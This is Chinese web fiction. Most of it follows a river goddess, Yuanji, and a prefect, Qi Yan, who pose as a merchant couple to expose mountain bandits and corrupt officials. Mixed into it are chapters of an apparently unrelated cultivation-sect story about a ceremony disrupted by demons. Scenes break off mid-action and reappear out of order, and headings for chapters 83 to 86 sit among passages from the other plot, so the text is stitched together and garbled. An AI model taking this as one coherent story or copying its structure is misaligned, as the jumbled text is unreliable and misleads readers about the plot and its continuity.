元吉双手环胸摆出一副不稀罕的模样,祁琰扯着她的袖子道:“好了,夫人,咱们这便回去吧。” 元吉被祁琰扯着袖子一路往回走,身后的四个护卫手上又买了不少东西来吃,看见元吉的时候还笑嘻嘻地递给她,祁琰直在旁边摇头说自己一个当官的都快养不起这些下人了。 元吉吃了护卫甲买的零嘴,又接过了护卫乙买的风车,见祁琰瞪那四个人,于是双手一张拦在了护卫甲乙丙丁四人身前道:“你祁家财大气粗,买点儿也没事儿。” 祁琰指着护卫甲乙丙丁道:“这次是夫人给你们说话,下回没这么走运啦!” 护卫甲点头:“夫人真好。” 护卫乙附和:“以前买点儿都要被大人数落半天。” 护卫丙叹了口气:“真想夫人就一直是咱们夫人。” 护卫丁顿了顿,眸子亮了起来,凑到三人跟前,微微眯起眼睛道:“不如……咱们来做些什么吧?” 元吉回到客栈没多久,刚洗漱换了身衣服,便听见房门被人敲响了。 她开门朝外看了一眼,是护卫丁,对方皱着眉头有些严肃道:“夫人,大人约您往城郊去一趟,似乎有要事相商。” 元吉朝隔壁房间看了一眼,伸手指了指,眼神中带着几分不解:“我们离得这么近……有必要去城郊?” 护卫丁顿了顿,面不改色道:“这属下就不清楚了。” 元吉眨了眨眼睛,点头深吸一口气:“好。” 护卫丁领着元吉走到了客栈前,马车已经备好了,护卫丙充当车夫,看见元吉过来的时候脸上挂着笑,这笑容总让元吉觉得怪怪的。 元吉坐上马车后,护卫丁便和护卫丙相视一笑,护卫丙架着马车往城郊走,护卫丁则理了理衣服,挺直胸膛上楼。 元吉突然想起了什么,笑嘻嘻地凑过去用手指戳了戳他的胳膊,问:“是不是酒能乱性啊?哈哈哈……” 元吉这头正哈哈笑着,那边的祁琰脸色便冷了下来,他回头朝元吉瞧去,看见对方笑得跟傻子一样,眉心皱了皱,松开后才问:“若我真有那一天,对方不是你,你当怎么想?” 元吉的笑还挂在脸上,眨了眨眼睛:“你酒后乱性,与我有何关系?” 祁琰听见这话,抿嘴深吸了一口气,抬起的手指指了指元吉,有些气不打一处来是的,忍了半天,才道:“你是真傻还是装傻?我对你什么心思,之前在河边你应当就知道了吧?” 元吉脸颊逐渐红了起来,她避开了视线:“可我是河神,而且我没有情爱的。” 祁琰看着她:“你如何知道自己没有情爱?” 元吉双手叉腰挺着胸膛道:“我就是知道!土地神也是这么和我说的,我们当神仙的不能喜欢凡人,也不会喜欢凡人。” 祁琰突然凑近,一手按在了她的肩上,将她直接按在了马车壁上,脸颊靠近:“那土地神有没有告诉你,我只要一靠近你,你的脸就会红?” 元吉抬起头不看他:“你放肆!” 祁琰捏着她的下巴,目光落在了她的唇上,低头吻了一下,又问:“土地神有没有告诉你,我吻你的时候,你的心跳都乱了?” 元吉伸手推着他的肩膀,眼神无处安放:“你你你……你别得寸进尺了!你个小屁孩儿!我比你大那么多,怎么可能对你有意思?你还是乖乖去娶……” 话音未落,嘴唇又被覆盖上,元吉不仅动上了手,甚至动了脚,手脚并用地在祁琰的身上拳打脚踢,也不知一拳捶到了他心口的哪一处,顿时让祁琰疼得松开了手,整个人蜷缩成一团。 元吉看着窝在自己腿边的人,伸手拍了拍他的头:“喂!你别装死!” 祁琰浑身发抖,低低的喘息声传来,元吉察觉不对,就要去看他,马车突然停下,在外面的护卫甲道:“大人,夫人,到客栈了,下车吧。” 元吉的手刚碰到祁琰的肩上,便被对方拍开,他低着头几乎是弯着腰跪爬着出了马车,全程没让元吉看到一眼。 元吉尚坐在马车上,低头看了一眼他方才疼狠了蹲着的地方,那处几滴鲜红的血迹还未干,淡淡的腥味儿传来。 她立刻下了车,只有护卫丁站在这处,挺直了腰背等她出来。 元吉问:“祁琰怎么了?受伤了?” 护卫丁愣了愣,张嘴片刻,才说:“没有啊。” 元吉啧了一声:“还要骗我?我看见血了。” 护卫丁这才捏紧了手,移开视线,脸色也不如方才好看,整个人僵硬着道:“这件事,还是等大人想告诉夫人时,夫人再问吧。” 一餐饭结束之后,元吉出了李府就问祁琰:“你当真有米粮在运过来的路上?” 祁琰点了点头:“有啊,在临州带过来的,我祁家的产业。” 元吉问他:“你到底打什么主意呢?自己赚自己的钱?” 祁琰与元吉走到了马车跟前,顿了顿,随后牵起了元吉的手道:“咱们走回去吧,方才吃的有些多了。” 元吉先是点头说好,这才反应过来自己被牵了,于是将手抽了回来。 祁琰指尖顿了顿,慢慢将手捏紧,道:“你我如今已经取得了李守财的信任,他必然与山匪有所关联,只有带着李守财赚钱,他才会将自己的保留全盘托出,届时想要剿匪就轻而易举了。” “舟山上重点有两个匪窝,李守财与鹿蜂寨必然有关系。”元吉说完,突然皱起眉头:“我想起来,我死前似乎与舟山南侧的那个叫不出名字的山匪头目有关联。” “怎么说?” “我在见到他的时候,有些模糊的记忆在脑中闪过,与见到季老板时感觉一样。”元吉抬头:“季老板与陈县令是亲家,他们会不会也与山匪有关?” 祁琰睁圆了眼睛看向元吉,突然伸手刮了一下她的鼻子,像是哄孩子般夸赞了一句:“我们家吉吉怎么变得这么聪明了!当真是有大用处啊!” 元吉先是一愣,随后伸手摸了摸自己的鼻子,立刻往后退了一大步。 祁琰朝她那边走一步,元吉就退一步。 祁琰慢慢皱起眉头,似乎是有些不满:“你躲着我做什么?” 元吉眨了眨眼睛:“没有呀。” “土地神与你说什么了?” 元吉摆手:“没没没,没有说什么。” 众人看着被天极宗女修笑脸相迎,又被丹心宗弟子相护的元吉,心中齐齐闪过一个念头。 这河神,究竟是何许人也? 众人的惊诧元吉并不在意,她闻着周围各色香气,只觉自己如入花海一般,一时间更加高兴。 看来自己的嗅觉并没问题啊。 而被洛秋水从元吉身边挤走的亓官上额角狠狠抽动一下:…… 他静静看着被各色如花似玉女修簇拥着的元吉,咬紧牙,再次深深吸了一口气。 第 83 章 第八十三章 第八十三章 关肃作为此次定仙大典的负责人,早就元吉在玉简添上那份彩头时便有所感应。他随手从一旁的弟子手中取过玉简,细细看了半晌,意味深长地问了句。 “河神他们到了否?可有人去接?” “堂主,洛秋水师姐带人去迎接了,此刻正往后山小憩。”弟子木着脸,毫无表情地回答着,如同一尊雕塑般。若不是偶尔能瞧见他眼中黑色闪动,着实叫人有些害怕。 关肃把玉简在手中轻拍两下,沉思片刻道:“不可怠慢,和洛秋水说将人带去观霞峰。” “是。”那人如同鬼魅一般闪身离去,独留关肃一人瞧着玉简出神。 他伸手拂过玉简上灵力闪烁的字迹,脸上的笑意越发深邃起来。 好戏要上场了。 * “没没……没结巴。” 祁琰顿了顿,一双眼睛看向她,随后抿了抿嘴,双手背在身后没有靠前,反而往后退了几步,点了点头,声音沉沉道:“好,那我以后离你远些,你总高兴了。” 元吉就见他转身离开,护卫甲乙丙丁有些尴尬,前两个跟着祁琰走了,剩下的两个就站在一旁看着元吉。 元吉抿了抿嘴,不知道为什么,听见祁琰那么说,没觉得高兴,反而觉得心里有些不舒服呢。 还要闹别扭是吧?元吉点了点头,走着瞧! 晚饭时间护卫丁就回来了,进门的时候满头大汗,他一路小跑到祁琰的房间,看见围在桌边吃饭的两个人距离超远,一时间有些愣住。 护卫丁看向护卫甲,眉飞色舞:怎么气氛比起之前更差了? 护卫甲摇了摇头:这件事情真不好说。 护卫丁又看向护卫乙:难道是我说的话起反效果了? 护卫乙一脸懵然:什么话? 护卫丁又瞥了一眼护卫丙,顿了顿,移开视线,算了。 “大人,属下失职,让那个人贩子跑了。”护卫丁双手抱拳。 他去追人贩子这事儿祁琰听说了,不过是元吉说给护卫甲听,护卫甲再禀告给祁琰的,说这事儿的时候,元吉就在餐桌对面。 护卫丁继续道:“不过属下一路跟着他上了舟山,却见他往南侧走了,说不定与舟山南侧的山匪有关。” 祁琰伸手摸了摸下巴:“这住在南侧山上的山匪倒是神秘的很,这么长时间来也没听说他们打家劫舍过,只是偶尔下山吓唬吓唬百姓,搞得好像声势浩荡似的,东西却没拿多少。” “且与陈县令有关。”护卫甲提醒。 祁琰转头问了元吉一句:“你上次去看的时候他们正在训练,住的吃的都井然有序,除此之外,可还瞧见什么特别有规律的地方?” 元吉朝祁琰看了一眼,将视线转到了护卫甲身上,道:“转告你家大人,他们在训练的时候,招式一致,不像蛮干的匪徒。” 护卫甲:“……” 祁琰啧了一声:“如此说来,倒像是被圈养在山中的一支精英军队了,五千余人,训练有素,养来做什么的?” 元吉夹了一块黄瓜,嚼得咯咯响。 祁琰突然皱起眉头,吩咐下去:“查一查陈县令任职前在何位置,二十余年前与朝中何人关系较密,这哪儿是山匪?这怕是要造反。” 护卫甲立刻抱拳出门,护卫丁问道:“大人当如何处理?” “先别告诉上头,我得拿到证据才行。”祁琰说完,突然发现元吉正定定地看着自己。 护卫几人面面相觑了会儿,退出了祁琰的房间。 祁琰双手环胸,挑眉问:“你看我做什么?” 元吉瞥了有一眼门外正探头探脑准备往里看的护卫三人,张口道:“替我问一下你家大人……” 话还没说完,三人同时关上了房门,嘭得一声,元吉吞了口口水。 “有话直说吧。”祁琰从一旁拿起扇子扇风。 祁琰意味深长地看着元吉,回想起之前这小孩儿要骑到他头上让他转圈圈玩儿,元吉都陪在一边笑着哄他答应,眼下的情况有些不太对啊。 元吉默不作声,吃完了早饭就带着小孩儿出去玩儿,祁琰对她道:“别走太远,咱们今日还要见李守财。” 元吉问:“何时?最近有事?” 祁琰道:“我让阿丁跟着你,到点儿了就回来,也就这两日,咱们要去见见鹿蜂寨里的人了。” 祁琰说完,护卫丁就跟着元吉还有小孩儿一同出门了。 在他们走后,祁琰就皱着眉头问:“那小孩儿家里人找到了没?” 再这么下去,他也别想能和元吉处好关系了,这小孩儿完全就是全天十二个时辰粘着元吉不放手的狗皮膏药啊! 护卫甲道:“应该差不多了,这两日消息就能传回来,吴州西侧的确有一家姓刘的丢了孩子的,下面的人已经去核实了。” 祁琰往椅子上靠了靠,深深地叹了口气,伸手挠了挠头道:“我怎么年纪轻轻就要操心这么多,不是个长久的命相哦。” 护卫甲乙丙顿时脸色一暗:“大人莫乱说话了。” 祁琰呲着呀笑了笑,站起来拍了拍袖子,转身上楼。 “走,下棋去。” 元吉诶带着小孩儿玩儿太长时间,买了些有趣的东西回来之后,就差不多要与祁琰一同出门了。 她回房间换了身衣服,出来的时候刚好与祁琰那身是配套的。 祁琰还对着她笑嘻嘻道:“哟,今个儿是真有默契。” 元吉挽着他的手与他一同出了客栈,坐着轿子就往李守财的府里去。 李守财特地让人备好的新茶,这几日来剿匪的兵队吃粮太多,陈县令还特地到他手下的几个米铺里买米,生意好转了不少。 祁琰尝了李守财的茶,笑着说:“看来李老板近日挺风光。” “托元老板的福。”李守财搓了搓手,他们相处时日久了,也不需要那些拐弯抹角的东西,于是道:“之前元老板便说要与山匪做一笔生意,不知道是何生意?” “李老板的门路找好了?”祁琰问他。 “不算十成的把握,但也有□□了。”李守财捋了捋胡子。 祁琰点头:“那便一切都好说,正好我元家的米粮就在城外,李老板若能让我与山上那位见个面,元某保证你财源滚滚来。” 李守财眉头微皱:“见面?难道……”难道不是他为中间人? 祁琰笑道:“必须得我亲自见面才行,而且所见之人必须得是他们寨子里能做主的,如若李老板这点儿做不到,那元某自己去也行。” 李守财默不作声,李夫人连忙道:“不不,一切好商量,只是不知道元老板为何要亲自与鹿蜂寨的当家见面?他们毕竟是山匪,杀人无数,元老板这一去不是太过冒险了吗?” 祁琰摇头:“我这些日子见舟山下头都有官兵把守,鹿蜂寨中的人应当难以出入才是,他们粮食有多少,寨中有几人我虽然不知道,可也知道再这么长久地耗下去肯定不行。元某若上了舟山见了他们当家的,之后便是他们求着元某要与元某做生意了。” “你要卖粮食给鹿蜂寨?”李守财顿了顿:“这不是公然与朝廷作对吗?” 见钟泰永不信,梦七又小声附在他耳侧,“此人诡异,钟修士还是莫要对上她,以免受伤。” 梦七自以为的好言相劝,没想到却是火上浇油。 钟泰永听他这般一说,更觉得连这小弟子都看不起自己,当即便从石砖上将自己的长剑抽出。 “辱我宗门者,死!” 在愤怒、羞耻的加持下,钟泰永脸涨的通红,声如洪钟朝元吉刺来。 元吉只觉得额角胀痛地更加厉害,心中的不爽在此刻更是达到了顶峰。 她抿起嘴角,快速扫了眼钟泰永,眼中的杀意一闪而过,她轻启薄唇,丢下句。 “聒噪。” 第 84 章 第八十四章 第八十四章 “聒噪。” 轻飘飘的两个字像是春日燕尾轻沾水面,漾起层层圆晕,偏元吉那轻蔑的一瞥,在钟泰永心中掀起了滔天巨浪。 “轰。”血液翻涌上脑,嗡的一声将所有理智击退,周遭的声音如潮水一般褪去只剩下澎湃的血液涌动声。 “我可是万剑宗钟泰永,小小女修竟敢如此羞辱。” 钟泰永将所有愤怒咽回喉间,一双不大的瞳仁渐渐被血色占据。周身的剑气被调动起来,随着他长剑缓缓抬起,冷冽的风吹向元吉。 墨发无风而动,元吉的不奈越发明显起来。 “你结巴了。” 祁琰噗嗤一声笑了起来:“李老板,朝廷要剿匪,兵队住的可是咱们的屋子,他们越早剿灭鹿蜂寨,咱们这屋子就越早空闲下来了。反正这舟山上的山匪闹腾也已经有数十个年头了,多耗个一两年,又有何问题呢。” 李守财与李夫人统统没说话,就连元吉也朝祁琰看过去。 她心中疑惑,这人怎么说也是个知府,如今当真要将城外祁家的米粮卖给山匪?就连她都快搞不懂祁琰究竟打的什么算盘了。 李守财没吱声,李夫人也不敢贸然说话了。 李府的大堂内一时间寂静无声,李老板与李夫人都在打量祁琰这句话的可信度。 卖粮食给山匪可不是小事,这是公然与朝廷作对,往严重了说,便是山匪的同谋,与山匪无什么差别的。 恰好此时李府中的家丁过来道:“老爷,夫人,饭菜已布置好了。” 李守财这才找了个话机道:“这事还是容我再与夫人商量商量,元老板,咱们先吃饭吧。” 祁琰点头,他也知道李守财这性子不敢立刻答应,他要是即刻答应,祁琰反而要重新审视这个人了。 他牵着元吉的手,两人跟在李守财身后往饭厅走去。 元吉伏在他耳边低声地问了句:“你在搞什么呢?我还在想你把祁家的米粮存在城外是什么意思,原来是要卖个鹿蜂寨,自己和自己作对?” 祁琰稍微弯了点儿腰凑在她耳边说:“我的目标何止一个鹿蜂寨,还有舟山南侧上的匪窝,还有陈县令,还有季、李、贾这几个都脱不了关系的商贾们,放心吧,我自有分寸。” 既然祁琰都这么说了,元吉也不好刨根问底。 四人到了饭厅后,如以往一般吃饭寒暄,元吉与祁琰便离开了。 离开前李夫人拉着元吉的手,神色有些古怪:“我是真心将妹妹当成亲人了,就想问一句,希望妹妹能够如实告诉我。” 元吉道:“姐姐问。” 李夫人问她:“元家究竟是做什么生意的,朝中可是有人?否则怎敢如此行事啊?” 元吉顿了顿,她总不好说她是河神,元老板是富可敌国的祁家少爷也是吴州知府吧,实话是不能说,编凑一些谎话倒是可以。 元吉道:“元家的生意就是姐姐所见到的这样,都是铤而走险的买卖,至于背后是否有人,我可以告诉姐姐,的确有些朝廷上的来往,请姐姐不要担心了。” 元吉朝李守财瞥了一眼,对李夫人道:“我对姐姐是毫无保留了,这一趟不论李家是否搭线,生意总是要做的,我夫君的手段姐姐也瞧见了,愿意让李家出面,已是等于将银子送到了李府上,这笔钱李家愿不愿意收下,就看姐姐的了。” 元吉说完,那边祁琰也与李守财告别了,两人见面相视一笑,随后挽着对方一同出了李府。 两人坐在轿子里的时候,外面又开始下起了细细的小雨,四月的天就是雨多,在轿子里听雨声,总让人有种压抑的感觉。 元吉伸手拨弄了一下头发,忍不住朝祁琰看了一眼。 事到如今,他也无甚可怕的了。 元吉听见这话,顿时皱眉:“我不去吗?” “那般危险,你一个女子,如何能去?”祁琰摇头。 李夫人连忙道:“妹妹放心,元老板上山那日,我便留在客栈陪你,与你说话如何?” 元吉点头,这番算是谈妥了,李守财只负责将祁琰送到鹿蜂寨的门前,并不参与他与凉寨主的谈话,只在门前等着。 次日一早山间露水还未干,祁琰边待着护卫甲与护卫乙还有李守财一同上山了。 这回守着山路的还是上头那个人,认得李守财,第一次瞧见祁琰,眉头微微皱起来,不过也知道李守财带来的人是与寨主谈生意,便将二人领到了寨中。 护卫甲与护卫乙两人在路上做了不少记号,祁琰便在前头走着,四人到了鹿蜂寨的大门前,李守财这才道:“麻烦与你们凉寨主说一声,谈生意的人来了。” 大门打开,凉寨主大咧咧地走出来,肩上扛着一把大刀,手中一个削了一半的苹果,张开嘴咬了一口道:“听见了。” 他将目光落在祁琰身上,扬起声音便问:“你就是那要与我谈生意的人?如此年轻,竟是个毛头小儿。” 祁琰笑了笑,也不恼,只淡淡道:“元某从小被宠惯大的,心高气傲听不得坏话,凉寨主不知道我的为人,这句元某便不放在心上了,若要与元某好好谈生意,还望之后说话先想想。” 李守财听见此话背后发寒,只想着这元老板是抽疯了?可别害死了他! “好!后生猛如虎!”凉寨主伸手一指向他:“最好你能给我鹿蜂寨带来些有用的东西,否则,我便剁了你。” 说完,又将手指指向一旁拴着的狗跟前,那狗嘴里叼着根骨头,正呜呜地发出嘶吼声。 祁琰对护卫甲乙二人道:“你们俩在这儿护着李老板,我与凉寨主屋里谈。” 凉寨主哼笑了一声,眸色深了深,眼前这年轻人倒是有股子痞劲儿,看上去比那李守财要靠谱多了,便招手:“进来吧!” 祁琰跟着凉寨主一同入了房内,两个守门的将大门关上,护卫甲乙二人眉头微皱,心中还是有些担忧。 祁琰入了大堂,便直接找了个地方坐下,看了一眼旁边的茶杯空空,凉寨主道:“我这儿的弟兄都只喝酒,不喝茶。” 祁琰无所谓地笑了笑:“在下前来也只是与凉寨主谈生意的,喝不喝东西不重要,生意谈成了便行。” “哦?”凉寨主直接坐上了主位,并不算友好的问:“元老板要与我谈什么生意?” 祁琰道:“我入吴州的时间不长,刚好在朝廷布兵剿匪的前几日到,知道这兵队在山脚下扎守了多久。方才入寨子的时候也看见了些许鹿蜂寨的部署,对你这山头上的人数大致有了把握,我想问问,凉寨主仓中粮食还剩多少?” “你就只是来与我谈卖米粮?”凉寨主嗤笑一声:“这东西,我只要问李守财要自然是有的。” 凉寨主微微眯起眼睛,眼前这人说的不无道理,否则李守财这么些日子也不会不与他做这笔生意。 之前徐县令还在的时候,李守财便频频讨好鹿蜂寨,要鹿蜂寨劫道时放李家一码,即便是徐县令下台后,他也有几次上山表忠心,可迟迟没送米粮,恐怕也就是元老板所说的意思。 而今城中部署许多兵马,所有人的举动都被看在眼里,李守财不敢与鹿蜂寨通气,这么说来,倒真是只有与眼前这人合作了。 “元老板为何要与我鹿蜂寨做这笔买卖啊?”凉寨主压低了声音问。 祁琰笑:“自然是为了银子,这世上有谁会嫌钱多呢。” “既然如此,你大可将米粮卖给官府,如此还能讨个功劳。” 它悲愤喊道,为什么我只能“唧唧唧”叫!元吉救救我,我说不了话了!! 它试图指向身后的亓官上,“元吉你快看看他!他不对劲!!他居然能封住我的嘴巴!!!” 然阿统的触角早已被元吉以一种诡异的角度团成了一团,无法解开。 此刻,阿统心如死灰。 独留“唧唧唧”声,响彻山谷。 目睹着这一副“主慈仆孝”的感人画面,亓官上挑了挑眉,故意对着阿统用嘴型道:“她不会知道的。” 眼见着阿统被他吓得蓝色的皮肤附上一层诡异的青色,又是一阵高亢的“唧唧唧”叫,换来的则是被拋得更高。 亓官上苍白的面上也忍不住浮现抹笑意来,随着他的轻笑,又是一阵血气翻涌,荆棘快速生长。 然他面色不改像是并未感受到痛苦一般,赤色的眸子里只剩下元吉的背影在光辉中闪着夺目的光彩。 若是时间能在这刻多停留片刻多好。 然正这时,一道巨响从后山传来,瞬间黑烟伴随着大量水汽直冲云霄。 第 85 章 第八十五章 第八十五章 “是魔气!” 众人看着那冲天的黑烟,一时反应不过来呆在原地,直到有一人惊觉大喊。“快戒备!魔族入侵!” 没反应过来的众人也在这一声呼喊中快速醒悟拿出自己的法器,神情戒备地打量着四周,试图找出潜伏着的狡诈魔族。 一名持剑剑客在空中挽出一道剑花,将长剑横于身前,“众人小心,这魔族最善伪装,大家千万不要走散。” “那魔气是从后山出来的,快去通知天极宗的人。”一名年长的老者颇为沉稳,瘦削的身形却挺拔如松如竹,“这魔族来势汹汹,还请诸位与我一同前往降服那魔族。” 此话一出,一呼百应。 不多时便见数十道身形快速在丛林间穿梭朝后山奔去。 关肃立身与天极宗正殿的围墙上,背手摩挲着掌心中的一枚玉简,当听清弟子所报内容后,他向来平和的面上透出几分怪异。 “你说那些人往后山去了?”关肃话音稍顿,语气中带着些似是而非的笑意。 将手中的玉简重新擦拭一遍放回怀中,关肃叹了口气,抬首望着染上绯色的天幕,“那,可就不太妙了。” 关肃稍稍挥手,面前的弟子眼眸瞬间被一片漆黑所吞噬,当即就像个牵线木偶般听关肃吩咐。 “准备下去,传音众人。天极宗遭魔族偷袭,伤亡惨重,许多弟子……生死不明。请求各位宗长出手相救。” 关肃挥手将人呵退,看着那弟子一闪而消失的身影,关肃脸上露出抹隐忍的笑意。 月老庙里有不少善男信女,也不知是求了什么签,都走到了解签的那处去问。 元吉顺着月老庙的门前转了一圈,百般无聊地站在了一旁拨弄花草,看向不远处五个人高马大的男人手上拿着红绸子对于许愿这事儿分外执着,一口气写了许多条。 护卫甲手上拿着红绸子准备挂上去,祁琰指手画脚道:“那是我的,挂最上面。” 然后护卫甲脚尖离地,使了轻功飞上去,足尖轻轻一点树叶,便将手中祁琰写的红绸子挂在了最上面一根树枝上,祁琰颇为满意地点头。 元吉觉得好笑,耳后突然吹来了一阵风,吓得她猛地回头。 老头儿一身红衣,花白的头发顺着元吉的视线瞧去,又看了看元吉:“河神?” 元吉眨了眨眼:“月老?” 老头儿连忙摆手:“我不是我不是。”于是转身就要走。 元吉见他一边理着手中乱成一团的线一边朝自己瞧过来,伸手挠了挠头似乎颇为不解的样子,走入月老庙中便不见身影了。 祁琰在许愿树顶上挂了十多条,在月老庙门口卖红绸的都看不下去了,护卫甲乙丙丁四人轮流去讨都拿不到,祁琰这才罢休,拉着元吉一同回去。 到了晚间,祁琰便让人准备了一套衣服,打算和元吉去百宴楼赴宴。 李守财听闻这位新来的公子出手不凡,自然不会如往常谈生意一样,在大堂随便摆一桌就罢了。 他先与百宴楼的老板说好,二楼都得空着,不许有人喧哗,今晚徐县令也会过来,百宴楼的老板自然顺着他的意。 出了鼎丰客栈,马车便一路往百宴楼的方向走。 元吉有些紧张,双手在袖中紧紧地握着,祁琰瞧出她有些不安,于是道:“记着,椅子上低于三个软垫不坐,不是今年采的新茶不喝,若非我夹进你碗里的菜不吃,其余的只需点头微笑便好。” 元吉深吸一口气:“知道了,别小看我。” 二人到了百宴楼的门口,李守财带着自己的夫人就站在门口候着,看见马车来的时候,顿时上下打量了这辆马车耗资多少。 小马车并没什么稀奇的地方,不过从马车中下来的人便不一样了,祁琰一看便是从小生于富贵人家的,站那儿气质都与别人不同,其夫人虽说不是穿金戴银,但头上的簪子却是用的上等宝玉所制,一身行头下来亦是价格不菲。 “李老板?”护卫甲上前问。 李守财咧嘴笑了起来:“是,正是鄙人。” 护卫甲颔首侧身,介绍道:“这是我家主人,还有夫人。” 祁琰一下车就瞥去了纨绔公子的模样,彬彬有礼起来让元吉都觉得有些陌生。 他对李守财倒是不摆架子,呵斥护卫甲不懂规矩后,主动介绍:“在下姓元,这是我家夫人,李老板一早上便递了请帖过来,盛情难却,故来赴宴。” 李守财拱手:“元老板,元夫人。” 李夫人倒是会做人,笑着道:“老爷,还不请人进去,难道要在外头聊一夜?” 李守财连忙笑起来:“是是是,是我疏忽了,元老板请。” 李守财包了整个二楼,故而从上楼之后便没见到人影了,祁琰倒是对于这种交际场合颇为得心应手。 元吉入座后,那李守财的夫人便凑过来对着她笑:“元夫人看着倒是年轻,不像我,早早便老了。” 元吉眨了眨眼睛,这是在与她说话呢?算是拉拢吗? 她浅笑了一下:“我若到了李夫人的年龄,恐怕及不上李夫人的容貌一半呢。” 李守财见两位夫人说得不错,于是也开口:“元老板从何处来?昨日才到城中吧?我可听闻了元老板在百宴楼豪掷百两,恐怕也是个生意人?” 祁琰将茶杯中的水吹凉了之后递给元吉,这才道:“在下的确是昨日才到城中,也如李老板所说,是个生意人。” “吴州地方偏远,又有山匪横行,不是个做生意的好地方吧。”李守财摸了摸下巴上的胡子。 “我既然来了,那必然表示这边有生意可做的。”祁琰颔首笑了笑。 “可否说出来与我听听,不瞒你说,我在这城中说话还算管用,若有赚钱的路子,我也可帮你疏通疏通。”李守财说完,便见祁琰给其夫人理了理头上的簪子,好像心思根本就不放在生意上。 “疏通?李老板是想分一杯羹吧。”祁琰说罢,思虑了一番,而后说:“也并非不能说,不久之后李老板也是会听到风声的。” “什么风声?” “我一路从京城过来,与你们吴州新上任的知府就差一日到了此处,路上恰好与他同住过一个客栈,知道他此番回吴州第一件事便是剿匪。” 李守财挑眉,喝了口茶后道:“这也不是新鲜事儿了,历任知府都要剿匪。” “确实如此,此城距离舟山最近,如若剿匪,必然有官兵在此城中驻守。”祁琰说到这儿,意味深长地看向李守财。 李守财愣了愣,还没反应过来,祁琰放下茶杯叹了口气道:“李老板可有两座空置的宅子今日下午被买走了?” 李守财皱眉:“莫不成是元老板买走的?” 祁琰点头:“非但如此,城南贾老板家中的两座宅子我也一并买走了。” “你买这么多宅子做什么?”李守财擦了擦额上的汗水。 “若朝廷当真剿匪,李老板便知道我这宅子买来是做什么的了。”祁琰道:“矜矜业业做生意赚不了大钱的,我这人安定不下来,所以才会带着夫人四处奔走,李老板若有兴趣,不妨去鼎丰客栈找我谈谈。” 说罢,祁琰便站了起来,弯腰低声道:“走了,夫人,李老板并非诚心请吃饭,你瞧,坐了这半天菜也没上。” 李守财连忙站了起来:“哎,元老板别走,其实今日我还请了徐县令,县令大人应当马上便到了,坐下再等等吧。” 祁琰摆了摆手:“我无意与官府的人打交道。” 元吉站了起来,任由祁琰牵着离开了二楼。 李守财一路跟了出来,好言相劝了两句也没能成功留下祁琰,只能锤了锤手叹了口气,回头看了一眼自家夫人,于是小声问:“夫人可问到了什么?” 李夫人刚要说话,那原先在李守财订下的雅间边上那间门便被打开了,一身便服的徐县令朝李守财瞧去,又往楼下看,皱眉道:“人当真走了?” 李守财双手一摊:“走了。” “这人到底是什么来头,竟然知道朝廷要派人来剿匪。”徐县令摸了摸下巴,李守财睁圆了眼睛问:“当真是会剿匪?” 徐县令点头:“是有这个风声,那祁家的公子这两年在朝中风生水起,偏生的要回来,我亦收到消息,他此番回来另有目的,也有剿匪之说,只是不论哪种说法都未落实。” “如若真要剿匪,那元老板买宅子又有何用?”李守财想不通。 徐县令嗤了一声:“让你留个人套两句话,结果话说了一半人也走了,如若祁家那公子回来当真是要剿匪,你我还有银子能拿?” 徐县令说完,带着下人一同离开,只留李守财与其夫人站在走廊上。 百宴楼的小厮这才端着饭菜上来,李守财连忙拦住了对方:“咦?就上菜了?不是说等等?” “李老板,时辰到啦。”小厮赔笑。 李守财嘁了一声,原想着若谈不拢可以提前走,菜不上还能省些钱,于是问:“还有哪些菜未上来?人都走光了,我也不要了。” 小厮楞了一下:“可是菜钱都付了啊。” “谁付的?”李守财皱眉。 小厮挠头:“方才离去的那位公子付的啊。” “元老板?”李夫人朝李守财瞧去,小厮没再说话,弯着腰将饭菜端了进去。 李守财嘶了口气:“这姓元的究竟打什么主意呢。” 李夫人道:“方才我与元夫人谈了些许时间,知道他家底殷实,不是会做赔本买卖的人,可问到他们家做什么生意,元夫人却支支吾吾,恐怕不是寻常的生意。” “冲着剿匪来发财,能是什么寻常生意?铤而走险吧。” 小马车往鼎丰客栈回走,马车内的祁琰掰着手指头皱着眉心算钱,坐在对面的元吉撇了撇嘴:“真大方,又花了一百两。” 祁琰啧了啧嘴:“能拿回来的,总能从别的方面拿回来的。” “你方才为何向他们透露剿匪的事儿?” 祁琰道:“我想拉李守财,自然要抛出一些信息引他上钩,李守财不是普通商人,他与徐县令的关系要好必然知道舟山上山匪的事,我若与他能连成一气,想要得知山匪的信息便不那么难了。” 元吉楞了一下:“不是还有我吗?” “山匪窝点在哪儿,多少人,兵力如何你是知道。可与官府之间的关系,徐县令每年与他们一同搜刮多少民脂民膏你都不知,剿匪固然重要,但将这些杂草小官从吴州铲除也尤其重要。”祁琰眉心微皱,想起这事儿时便分外认真。 马车稍微有些晃,元吉看着他那些微严肃的脸,心中突然狂跳起来。 许是她的视线太过直白,引得祁琰朝她看来,挑眉问:“怎么了?” 元吉摇了摇头,祁琰突然朝她伸过手来。 车窗的帘子被风吹开,车外微弱的灯火光照了进来,祁琰的手贴在了元吉的脸上,元吉睁圆了眼睛看着他,下一刻便猛地闭上。 “嗷……” 祁琰的手掐着她的脸颊,眉毛挑起,笑着问:“你怕是被我的美色所惑了吧?” “这么说自己,你还要不要脸啊!”元吉挥开了他的手,捂住自己的脸道:“你下次若再这样没大没小对我动手动脚,我就回河里啦!” 祁琰嗤的一声笑出来,双手环胸往后一靠,目光沉沉,那双眼里倒不如之前那般带着调笑,反而收敛了许多情绪,朝窗外看去。 “长生,这人似是你的熟人。”苍老的声音唤醒身侧一低头冥想之人,“去会会他。” “是。” 而另一侧,有着长角碎片的帮助,小六小八获得了他们梦寐以求的实力。只需轻轻一挥,往日那群高高在上需要他们谨小恭敬对待的能者像是冬日中的枯枝,轻轻一掰便断裂开来。 “嗬嗬……” 两人狂笑着在人群中冲刺,所到之处魔气肆意,无人可挡。在一双双绝望而惊恐的眸子下,他们却瞧见了一双无悲无喜的眸子。 心中不由得一紧,两人不自觉地停下脚步,满脸防备的盯着来者。 元吉缓缓抬头,薄唇轻启。 “玩了这么久。” “该把我的东西还给我了。” 第 86 章 第八十六章 第八十六章 “快跑!赶紧去前山求救!”一倒在地上的老者看着元吉立在人群中,嘶声喊道。“快请天极宗师祖出山救我们!” 这魔物手中的法宝甚至诡异,竟然能无视所有防御阵法,轻轻一划就能将防护罩撕碎。他看着倒地的数人中好几个其他宗门的长老,实力不凡。 连他们都敌不过,这群小辈又能成什么事?唯有天极宗闭关的那位师祖或许才能救他们。 “快去啊!”老者朝着元吉再次喊道,声嘶力竭。 